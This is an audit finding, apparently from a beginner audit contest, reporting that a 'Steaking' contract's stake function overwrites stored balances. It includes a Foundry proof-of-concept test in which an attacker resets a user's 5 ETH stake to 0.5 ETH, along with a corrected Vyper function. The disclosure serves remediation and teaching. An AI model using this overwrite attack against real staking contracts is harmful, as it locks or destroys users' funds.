Beginner FriendlyFoundryDeFi
100 EXP
View results
Submission Details
Severity: high
Valid

Attacker can reset any user's staked balance to a new value effectively locking any excess

Summary

Attacker can reset any user's staked balance to any value effectively locking any excess.

Vulnerability Details

A POC of the attack can be seen by adding the following function to the test file.

function testStakingAttackWorks() public {
uint256 FIVE_ETH = 5 ether;
uint256 HALF_ETH = 0.5 ether;
// user1 stakes 5 ETH on behalf of themselves
_stake(user1, FIVE_ETH, user1);
assertEq(steaking.usersToStakes(user1), FIVE_ETH);
address attacker = makeAddr("attacker");
uint256 dealAmount = steaking.getMinimumStakingAmount();
//attacker stakes min amount(0.5 eth) on behalf of user1, effectively overriding their 5eth stake
_stake(attacker, dealAmount, user1);
assertEq(steaking.usersToStakes(user1), HALF_ETH);
}

Impact

Loss of user stake. In the POC, the user loses 4.5 ETH of their stake

Tools Used

Manual inspection

Recommendations

stake function can be modified to become:
This effectively means that staking on Behalf of someone increases their existing balance not resetting it to your new stake.

@external
@payable
def stake(_onBehalfOf: address):
"""
@notice Allows users to stake ETH for themselves or any other user within the staking period.
@param _onBehalfOf The address to stake on behalf of.
"""
assert not self._hasStakingPeriodEnded(), STEAK__STAKING_PERIOD_ENDED
assert msg.value >= MIN_STAKE_AMOUNT, STEAK__INSUFFICIENT_STAKE_AMOUNT
assert _onBehalfOf != ADDRESS_ZERO, STEAK__ADDRESS_ZERO
self.usersToStakes[_onBehalfOf] += msg.value
self.totalAmountStaked += msg.value
log Staked(msg.sender, msg.value, _onBehalfOf)
Updates

Lead Judging Commences

inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Steaking::stake overwrites the msg.value into storage

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.